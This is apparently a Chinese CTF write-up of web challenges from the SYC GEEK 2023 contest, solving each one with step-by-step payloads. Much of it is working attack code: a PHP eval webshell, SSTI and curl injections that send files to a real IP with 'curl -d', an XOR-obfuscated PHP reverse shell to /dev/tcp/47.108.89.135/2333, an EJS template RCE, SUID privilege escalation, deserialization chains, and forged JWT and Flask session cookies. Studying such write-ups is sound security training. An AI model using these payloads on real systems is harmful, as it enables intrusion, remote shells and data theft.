by:Infernity
EzHttp
请post传参username和password进行登录
第一步先找username和password,查看源码发现“**密码记在了不想让爬虫获取的地方!**”
查阅资料,
1 | 几乎所有的搜索引擎爬虫,都会遵守robots协议 |
那么打开robots.txt,再进入/o2takuXX’s_username_and_password.txt
发现username和password
1 | username:admin |
返回index.php,继续传参后:
1 | 必须来源自sycsec.com |
那么修改Referer为sycsec.com
1 | 请使用Syclover浏览器 |
那么修改User-Agent为Syclover
1 | 请从localhost访问 |
那么添加一句x-forwarded-for:127.0.0.1
1 | 请使用Syc.vip代理 |
那么添加一句via:Syc.vip
然后代码审计php,$_SERVER是获取请求头里的参数值,后面是HTTP_O2TAKUXX,我们去掉HTTP_在请求头里加一句:O2TAKUXX:GiveMeFlag
爆出flag:SYC{HttP_1s_E@sY}
unsign
反序列化,好诶!
1 | class web |
先看末尾,web这个类里有明显的提示eva1长得像eval勒,肯定就是这里命令执行输出flag,我们写eva1=’system’,interesting=’ls /‘
那么我们肯定要先进入这个方法:
1 | __get() //用于从不可访问的属性读取数据 |
那肯定就要往上看了:
1 | class lover |
lover这个类里面最后return $this->yxx->QW;我们只需要将yyx和QW随便设置一个值,反正随便设置的肯定没法访问,所以就能触发get()方法,我这里设置yxx=’a’,QW=’a’
要这样用,肯定就要触发invoke()方法,
1 | __invoke() //当脚本尝试将对象调用为函数时触发 |
就要看最上面的一个类:
1 | class syc |
这里$function=$this->cuit;把cuit的值赋给function,然后return $function();这里就触发invoke()方法,
这里也不用管cuit到底是什么,反正都会将对象调用为函数而出发invoke()我这里设置cuit=’a’
而destruct()方法是在这里会自动触发,所以不用管。
最终代码:
1 |
|
把输出传入题中,发现返回了ls /的执行情况,那么这道题就解决了。
SYC{wqle9ssXk9cB7fhYly}
n00b_Upload
文件上传,先传一个jpg文件看看
1 | <?php @eval($_POST['123']);?> |
说我后缀过了,头部过了,你上传的内容一看就是木马
说明有文件内容检查,经过尝试,发现会过滤<?php,那么使用php短标签试试
1 | <?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置 |
传入123.php
1 | <?=(`ls`)?> |
发现上传成功,进入文件目录,发现回显了本目录下的所有东西,那么这道题解决了。
(这道题还是动态flag=-=)
SYC{hUR1ep7TkikaVYaoiM}
easy_php
php代码审计
1 | preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) |
这一句^和$的作用是从头到尾匹配,说明我们不能在前后增减字符,只能是他给的这个字符串,但是
1 | $_GET['syc'] !== 'Welcome to GEEK 2023!' |
后面又让我们传入的syc不等于他给的字符串怎么办勒,关键就是第一句prge_match的修饰符/i
1 | / regexp / i 不区分大小写的匹配 |
那么,我们只需要在原字符串上随便修改一个大小写就成功进入if,传入syc=Welcome to GEEk 2023!
1 | intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024 |
这一句intval函数是取得变量的整数部分,如果是字符串就为0,如果是数字和字符串,取得第一个遇到的数字的值。这里让lover<2023 加1后又大于2024,怎么办嘞,我们利用intval函数和php传参时的性质:
我们知道php传入的参数都是字符串,而且php中数字有特殊的表示方式,比如科学技术法。
我们传入lover=2e4,传入2e4后因为会被识别成字符串,intval函数就会取第一个数字的值,即为2,这里就小于了2023,后面’2e4’+1这里进行了运算,php就会认为2e4不是字符串而是个数字,即是20000+1=20001>2024
这里就进入了if。
1 | $array1 = (string)$_POST['qw']; |
这里强制把我们传入的qw和yxx转成了字符串,那么平时强比较绕过的方法就失效了,我们必须找sha1确实相等的两个字符串。经过查找sha1碰撞:
1 | qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 |
POST传参,成功绕过。
最后一步是非法变量名,在php中[ . 空格 +都会被转为_而如果前面有一个[,就只有这个中括号会被转化为下划线,后面的这些字符就不会被转化,所以我们传入SYC[GEEK.2023=Happy to see you!
成功拿到flag
SYC{RF8MgCYJC9diWlfaKq}
ctf_curl
这里考察curl的用法
https://www.ruanyifeng.com/blog/2019/09/curl-reference.html
告诉了我们flag的位置和名字,我们使用-d参数,将flag发送到我们的服务器上,
1 | ?addr=-d @/tmp/Syclover 47.108.89.135 |
由于这里过滤了:所以我们不能添加端口,只能使用默认的80端口。
打开ssh链接服务器,监听80端口,在输入参数发包,就能在我们的服务器上接受到flag
klf_ssti
index.php啥也没有,查看源码,去看看/hack
再看源码,提示我们传入klf参数,根据题目名字我们知道这里应该是ssti注入。
经过一系列尝试,发现无论输入什么都会是一个小黄脸嘲讽我们,那可能是ssit无回显。
找到万能payload
1 | {}config.__class__.__init__.__globals__['os'].popen('aaa').read()}} |
把aaa换成我们的命令,本来想尝试反弹shell,发现目标机好像不支持反弹shell,那么虽然无回显,我们可以通过将回显写入一个文件,再通过curl命令读取文件发送到我们的服务器上,完成伪反弹shell。
首先
1 | {}config.__class__.__init__.__globals__['os'].popen('ls /app>1.txt').read()}} |
然后我们读取1.txt
1 | {}config.__class__.__init__.__globals__['os'].popen('curl -d @1.txt 47.108.89.135:2333').read()}} |
于此同时,我们在ssh上开启监听
1 | nc -lnvvp 2333 |
收到了回显,发现flag叫fl4gfl4gfl4g,那么
1 | {}config.__class__.__init__.__globals__['os'].popen('cat /app/fl4gfl4gfl4g |
重复上述步骤,拿到flag
SYC{wvDsEswyYrqSKJYJme}
ez_remove
短小精焊的反序列化,题目:
1 |
|
考点一:fast_destruct
当一个PHP线程结束时,当前占用的所有内存空间都会被销毁,当前程序中的所有对象同样被销毁。
关键的eval函数被放在destruct方法里,正常析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。而这里程序多给了一句:throw new Error()
这就导致__destruct方法无法被正常触发,所以我们得想办法提前触发__destruct
首先我们需要生成一个数组:
1 | $a=new syc(); |
然后我们需要把生产后的序列化代码的第二个i后面的数字改成0
1 | a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}i:1;s:6:"awawaw";} |
这样改后,php反序列化完第一个数组,也就是payload的时候,计数器-1就会提前触发__destruct
考点二:绕过变量名过滤
题目中把唯一的变量lover过滤了,给个文章:https://blog.csdn.net/qq_45570082/article/details/107998748#t10 我们可以考虑大写的S编码绕过。
1 | S:encoded string |
那么,了解到‘l’的16进制编码是‘6c’ 把s:5:”lover”改成S:5:”\6cover”就能成功绕过。
考点三:Open_basedir绕过
打入payload发现system函数被禁用,看了看phpinfo发现命令执行函数都被ban了。
发现有open_basedir /var/www/html/
https://www.cnblogs.com/LLeaves/p/13210005.html
可以利用glob伪协议来读取文件目录。glob伪协议在筛选目录时不受open_basedir制约。
1 |
|
现成的payload,去掉换行和回车,转义引号:
1 | public $lover ='printf(\'<b>open_basedir : %s </b><br />\', ini_get(\'open_basedir\'));$file_list = array();$it = new DirectoryIterator("glob:///*");foreach($it as $f) {$file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo "{$f}<br/>";}'; |
读取到了根目录:
open_basedir : /var/www/html/
1 | . |
再利用ini_set读取文件内容
1 |
|
现成的payload,去掉换行和回车,转义引号:
1 | public $lover='mkdir(\'tmpdir\');chdir(\'tmpdir\');ini_set(\'open_basedir\',\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');ini_set(\'open_basedir\',\'/\');$a=file_get_contents(\'/f1ger\');var_dump($a);'; |
打入题目获得flag:SYC{0ihPuPsdvLrLH2Owsm}
ez_path
给了一个pyc文件,需要反编译为python文件才能看到源码。
https://www.toolkk.com/tools/pyc-decomplie
一顿代码审计之后发现了os.path.join()函数,这个函数有个漏洞,如果传入的参数以/开头,就会不管当前的路径,直接以你传入的/开头的路径为返回值。
比如,我们文章名为abc,当前目录是/var/www/html/article/
我们的文章路径就会是/var/www/html/article/abc
而如果文章名是/abc 我们的文章路径就是/abc
发现网站源码里有flag名字:f14444
那么我们只需要文章名为/f14444即可直接打开flag:
SYC{KfxR42aRRGkRrW8YN8}
you konw flask?
这把必当教练了奥!
注册登录题首先想到修改flask token登录,先注册一个帐号,拿到现在的session
1 | eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxIiwidXNlcl9pZCI6Mn0.ZWHBvQ.YSvcSY0-BnAI37sWrJyZAFaRUKk |
我们先要解密,才能修改数据,但是解密我们需要一个密钥。经过一顿找,发现在/robots.txt里有东西/3ysd8.html 打开后看源码
1 | key是 app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao' |
拿到了源码,发现密钥是随机的,那我们需要遍历100个密钥,找到真正的密钥。
跑个脚本:
1 | import base64 |
然后出来了100个密钥,我们用github上的一个工具,flask-session-cookie-manager-master来测试每个密钥正不正确,100可以手测,但是脚本更快,
1 | for line in $(cat ~/Downloads/book.txt);do echo $line | tr -d "\r\n";python ~/web/flask-session-cookie-manager-master/flask_session_cookie_manager3.py decode -s $(echo $line | tr -d "\r\n") -c "eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxIiwidXNlcl9pZCI6Mn0.ZWHBvQ.YSvcSY0-BnAI37sWrJyZAFaRUKk"; done |
这个脚本可以把book.txt里的100个密钥分别测试,如果能成功解密,就打印这个密钥。
经过测试,发现密钥为wanbaoOTg=wanbao
而解密后的json数据是{‘is_admin’: False, ‘name’: ‘1’, ‘user_id’: 2}
显而易见,我们要把is_admin的值改为True,然后再通过密钥加密成session
1 | python ~/web/flask-session-cookie-manager-master/flask_session_cookie_manager3.py encode -s 'wanbaoOTg=wanbao' -t "{'is_admin': True, 'name': '1', 'user_id': 2}" |
替换原来的cookie
1 | eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjEiLCJ1c2VyX2lkIjoyfQ.ZWHFLQ.CvOT4HS6-TxGX_tsrjgDUwkvYEA |
刷新页面,发现自己成为了教练力!进入学员管理,拿到flag
SYC{k49Ba0dwVuBxT7rqGQ}
Pupyy_rce
1 | if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)) |
经典无参数rce
提示在当前目录下有flag,这样可以直接使用随机读取当前目录文件payload
1 | readfile(array_rand(array_flip(scandir(pos(localeconv()))))); |
这是随机读文件,多试几次就能读到flag:
SYC{szmkLiIQ3ujD1BBWvV}
1 | pos(localeconv())是点 |
雨
让我们看/source,说我们不是admin,应该也是修改cookie登录,我们先找到cookie
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJpYXQiOjE3MDA5MDgyMjl9.N6H2hwmB3HWj1CX1xaNMgRWNcQZVK1x5Rj8adN4uWEo |
我们还是要先找到密钥,查看当前页面源码,发现/hint,进去提示我们说密钥是出题人名字,VanZY
https://jwt.io/在这个网站里直接修改cookie内容,把guess换为admin,再打入cookie,刷新,看见源码。
审计源码发现:**res.render(‘index’, req.body);有两个命令执行点,第一个需要让Super[‘userrole’] === ‘Superadmin’**第二个需要绕过过滤,过滤了所有能使用的函数,所以我们需要从第一个点进入,
var Super = {};定义好了,而我们需要让super变成数组,并传入**”userrole”:”Superadmin”**
这道题考js原型链污染
1 | 在/code路由里发现污染点 |
1 | {"__proto__":{"userrole":"Superadmin"}} |
每个构造函数(constructor)都有一个原型对象(prototype)
对象的__proto__
属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制
下面这条payload能成功污染原型链:
1 | {"constructor":{"prototype":{"userrole":"Superadmin"}}} |
再在/create路由里进行Ejs模板引擎注入实现RCE
1 | { |
拿到模板,将xxx的内容修改为反弹shell命令,完整payload:
1 | { |
监听2333端口,打入payload,成功拿到shell
SYC{Chun_a1_M4n_NeVer_G1ve_Up}
famale_imp_l0ve
打开提示说“压缩”,试着上传一个zip文件,发现上传成功,第一反映是zip伪协议读文件,就找找有无文件包含的地方,查看源码,发现/include.php进入发现是include文件包含。
上传的压缩包:
1 | 名字是:123.zip |
在/include.php传入
1 | ?file=zip://upload/123.zip#123.jpg |
然后就可以任意命令执行了
SYC{bobegCk7ysmNOMI8z2}
change_it
经典登录,发现源码里有帐号密码,登录之后发现有文件上传,但是告诉我们只有admin才能上传文件,我们复制cookie,但是需要找到密钥,一顿好找之后发现根本找不到,就去github上找到了一个密钥爆破脚本,下载下来后爆破密钥:
1 | docker run -it --rm jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4 |
爆破出来密钥是:yibao
更换cookie后能上传文件,这道题可以直接上传php,但是我们的文件名被更换过一次,经过审计,发现是php伪随机数,随机数种子是当前时间截,我们只要掐好上传当时的时间截,把代码复制到本地跑一遍,就能拿到文件名了:
1 |
|
文件名:TjjLzWMp9K.php
进入/upload/TjjLzWMp9K.php,成功命令执行。
SYC{fsfikgocwq4rsqmad5}
ezpython
发现有注册页面,随便注册一个,登录,看附件里的源码,发现/flag网址,进去提示我们不是vip,审计源码:
1 | class User(): |
user这个类里isvip默认是false,而在注册界面,发现有merge(data,user)
存在原型链污染,根据python的结构,我们在注册时post的json数据应该是这样的:
1 | { |
但是显示被过滤了,经过测试,发现过滤了isvip,那么尝试unicode编码绕过:
1 | { |
注册成功!然后登录进去,进入/flag界面,提示我们传入一个num:
1 | if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10: |
传入的num满足以上条件,即可拿到flag,尝试在123456789前后加各种字符,发现均不行,最后发现空格和tab能成功进入,于是传入num=%20123456789或者num=%09123456789均可。
SYC{WaefaxJoYLKnVyQQhO}
EzRce
绕过waf.php命令执行,经过测试,发现只能用异或payload,先看看phpinfo:
1 | ?data=(%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff)(); |
发现ban了绝大多数命令执行函数:
1 | exec,system,fwrite,passthru,popen,shell_exec,error_log,fputs,file_get_contents,assert,call_user_func,call_user_func_array,array_map,array_filter,array_reduce,get_defined_vars,getallheaders |
但还剩一个proc_open。
根据php手册的内容:
1 |
|
我们需要构造的payload为
1 | proc_open("bash -c "bash -i >& /dev/tcp/47.108.89.135/2333 0>&1"",$array,$pipes); |
经过变量替换:
1 | ?data=$a[]="pipe";$a[]="r";$aa[]="pipe";$aa[]="w";$aaa[]=$a;$aaa[]=$aa;$aaa[]=$aa;$_="bash -c "bash -i >& /dev/tcp/47.108.89.135/2333 0>&1"";$__=proc_open($_,$aaa,$___);print_r(stream_get_contents($___[1])); |
经过异或操作:
1 | ?data=$a[]=(%8f%96%8f%9a^%ff%ff%ff%ff);$a[]=(%8d^%ff);$aa[]=(%8f%96%8f%9a^%ff%ff%ff%ff);$aa[]=(%88^%ff);$aaa[]=$a;$aaa[]=$aa;$aaa[]=$aa;$_=(%9d%9e%8c%97%df%d2%9c%df%dd%9d%9e%8c%97%df%d2%96%df%c1%d9%df%d0%9b%9a%89%d0%8b%9c%8f%d0%cb%c8%d1%ce%cf%c7%d1%c7%c6%d1%ce%cc%ca%d0%cd%cc%cc%cc%df%cf%c1%d9%ce%dd^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff);$__=(%8f%8d%90%9c%a0%90%8f%9a%91^%ff%ff%ff%ff%ff%ff%ff%ff%ff)($_,$aaa,$___);(%8f%8d%96%91%8b%a0%8d^%ff%ff%ff%ff%ff%ff%ff)((%8c%8b%8d%9a%9e%92%a0%98%9a%8b%a0%9c%90%91%8b%9a%91%8b%8c^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff)($___[(%ce^%ff)])); |
我们打入payload进行反弹shell,但是当我们cat /flag 的时候提示我们Permission denied没有权限,就要进行提权。https://blog.csdn.net/Fly_hps/article/details/80428173
利用命令查找系统上运行的所有SUID可执行文件。
1 | find / -user root -perm -4000 -print 2>/dev/null |
回显
1 | /bin/mount |
我们进行find提权:
1 | find . -exec cat /flag \; |
拿到flag
SYC{ThE_RCe is S0 Eas1ly_DD!}
ez_php
又臭又长的反序列化。
第一部分
刚开始就来了个下马威:
1 | if (!preg_match("/^[Oa]:[\d]+/i", $user)) { |
不能以Oa开头,假如不ban掉a的话,我们可以在a数组里面放上我们的恶意对象,也可以反序列化,但是ArrayObject,(此方法只在php版本8.0以下适用)他是C开头的,并且可以绕过O,然后还可以带属性反序列化,符合条件,因此可以构造payload:
1 | $a = new ArrayIterator($b); |
整段代码可以分为两部分,第一部分是做题部分,但是需要密钥,第二部分是拿取密钥部分,这里有很多小知识点。
在useless类中:
1 | if((strlen($this->QW))<80 && strlen($this->YXX)<80){ |
我们需要传入QW和YXX的值,让他俩值不相等,但是MD5加密相等,这种MD5加密强比较,第一反应应该是数组绕过,但是这里把数组ban了,第二反应是碰撞,但是找遍全网也找不到80个字符以下的两个md5相等的字符串,查询资料,发现还有第三种方法:
1 | NAN代表非数值的特殊值,用于指示某个值不是数字 |
所以将QW和YXX均赋值为NAN即可绕过。
1 | 关于这个的问题and $random==='newbee'; |
这里是一个随机数字,但是要等于一个字符串,显然不可能,其实这里不用管,因为赋值符号‘=’的优先级大于and,所以他会被忽略。
1 | if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){ |
然后我们需要传入一个a,
1 | 案例网址:https://www.shawroot.cc/php/index.php/test/foo?username=root |
$_SERVER[‘REQUEST_URI’]又不能存在key.php,所以我们传入a=PHP_SELF
然后在当前的url网址后面加上/key.php即可
1 | https://e3kdaoip15ici39mafpbux8qb.node.game.sycsec.com/havefun.php |
最终的php代码:
1 |
|
最终payload:
1 | https://e3kdaoip15ici39mafpbux8qb.node.game.sycsec.com/havefun.php/key.php?user=C%3A13%3A%22ArrayIterator%22%3A89%3A{x%3Ai%3A0%3BO%3A7%3A%22useless%22%3A3%3A{s%3A15%3A%22%00useless%00seeyou%22%3BN%3Bs%3A2%3A%22QW%22%3Bd%3ANAN%3Bs%3A3%3A%22YXX%22%3Bd%3ANAN%3B}%3Bm%3Aa%3A0%3A{}}&a=PHP_SELF |
拿到了一大串base64加密后的东西,拿去解密之后发现是图片,查看图片找到密钥
key=9
hername=momo
第二部分
分析pop链,在her 类中,找到我们的终点:
1 | echo new $_POST['ctf']($_GET['fun']); |
应该是php原生类读文件,我们一步一步从终点反推:
1 | if (isset($file) && (file_get_contents($file,'r') === "loveyou")) |
这里可以用data伪协议进入:
1 | ?file=data://text/plain;base64,bG92ZXlvdQ== |
然后需要密钥和她的名字:
1 | if (encode($this->hername,$this->key) === 'vxvx') { |
我们需要在另一部分去拿。
然后以上这些东西都在find这个方法里,我们需要进入这个方法,并且因为里面使用了$this,所以只能动态调用该方法,这个后面说。
找到唯一可以调用函数的地方:
useless类中有get方法:
1 | public function __get($good) { |
而能触发get方法的是important类中的sleep方法:
1 | public function __sleep() { |
在直接获取私有成员属性得时候,自动调用了这个__get()方法,这里的seeyou是私有属性,所以会调用get,进入get之后,$good就是触发get方法的属性名,即seeyou,所以get当中关键句就变成了
1 | seeyou[seeyou](); |
我们需要修改seeyou这个数组当中的seeyou的键值,从而调用find函数。
原来尝试过静态调用:
1 | $seeyou=["seeyou"=>"her::find"]; |
但是不成功,只能动态调用:
1 | $seeyou=["seeyou"=>[new her(), "find"]]; |
接着回到链子,现在需要触发sleep方法,当序列化的时候会自动触发,在her类中有序列化函数
1 | public function __invoke() { |
现在需要进入invoke方法,当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。在Me类中找到:
1 | public function __wakeup() { |
而wakeup会自动执行。
所以我们的pop链就出来了:
1 | new Me()->__wakeup()->new her()->__invoke()->new important()->__sleep()->new useless()->__get()->new her()->find() |
最终php代码:
1 |
|
最后是原生类读文件,当我们想要读取到某个文件时,我们就可以利用SplFileInfo或者SplFileObject类来对文件进行操作。这内置类也只能读取第一行,同样我们可以使用foreach把它们全部都打印出来。
但是这里我们可没有foreach函数可以用,只能读取文件名,所以尝试目录遍历
https://blog.csdn.net/m0_62422842/article/details/125045832
我们用FilesystemIterator扫描一下当前目录第一个文件(只能第一个=-=)
1 | fun=/var/www/html/ |
拿到一个文件名flag_my_baby.php ,打开康康,找到flag
SYC{jUHzFBdyEKq2lySHks}
最终payload:
1 | ?user=C%3A13%3A%22ArrayIterator%22%3A366%3A%7Bx%3Ai%3A0%3BO%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3Bs%3A3%3A%22asd%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D%7D%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A18%3B%7D%3Bm%3Aa%3A0%3A%7B%7D%7D&file=data://text/plain;base64,bG92ZXlvdQ==&fun=/var/www/html/ |
klf_2&klf_3
klf_2的payload复制到klf_3里同样适用=-=
在/robots.txt里找到/secr3ttt
这道题过滤了很多关键字,经过测试,留下一个列表可以让我们取用需要的字符
1 | {% set orglst = ({ }|select|string|list) %}{}orglst}} |
可以通过下列语句构造关键字
1 | {% set pon = dict(po=aa,pen=dd)|join %} # popen |
直接上payload
1 | {% set po = dict(po=aa,p=b)|join %} #pop |
__getitem__(279)为[279]
SYC{YARCu1gP5RLkoNNwcI}
Akane!
这道题要我们猜测flag所在文件的名字,根据不同的回显,相当于盲注。
我们要一步一步猜测文件名,所以要绕过wakeup
1 | $b = str_replace("Hoshino\":1","Hoshino\":2",$b); |
调用call方法
1 | $this->Ruby->func(); |
php这边简单,看代码
1 |
|
这里让Akane的值为$argv[1]的值,可以通过外部终端传入,配合python脚本使用,
python脚本:
1 | import os |
爆出名字为:TheS4crEtF1AgFi1EByo2takuXX.php
SYC{qabhfOQdYBX0MYrA8q}
scan_tool
https://blog.csdn.net/weixin_44037296/article/details/110893526
考点:nmap -oG 写入文件
、-iL读取扫描文件
、escapeshellarg
绕过
PHP中的escapeshellarg()
函数会剔除不可见字符,这个特性可以用来绕过对-iL
、-oN
等参数的过滤。
1 | ip=' -i%faL /flag -o%faN 1.txt ' |
然后看1.txt即可拿到flag
SYC{jvphuvHv43WbXRMoan}
ezrfi
hint为:
1 | w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg |
base64解码:
1 | Ö.o owO 0w0 ov0 Öwo O.o 0.0 0.o Öv0 0vÖ Ov0 OwÖ o.O ÖvO 0_0 0_O o.O 0v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0vo o.O OwÖ Ovo 0.Ö Öv0 O.Ö 0.0 0wÖ o.Ö owo ow0 0vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0_0 Ö_o owO O_0 0.Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0_Ö Övo ÖvÖ 0w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0wo owO o.O 0wÖ 0v0 owÖ Öw0 Ö.o 0w0 O_Ö o_O Övo |
尊嘟假嘟解密:
1 | Shy0JhFpsi+njV0IfFfzS44KIcwPFg312qo6gfdk0+DzcoMdSgVs15cERxpqnPJh4Y3b3i/mcbkPlHGTIA6/A8CQU8UX6j9w5HKy |
rc4解密:密钥靠猜:Syclover
1 | 文件包含逻辑是include($file.".py"),你能找到flag文件位置吗?? |
后缀给死了,我们可以利用php filter chain
突破后缀”限制”。
1 | import requests |
SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}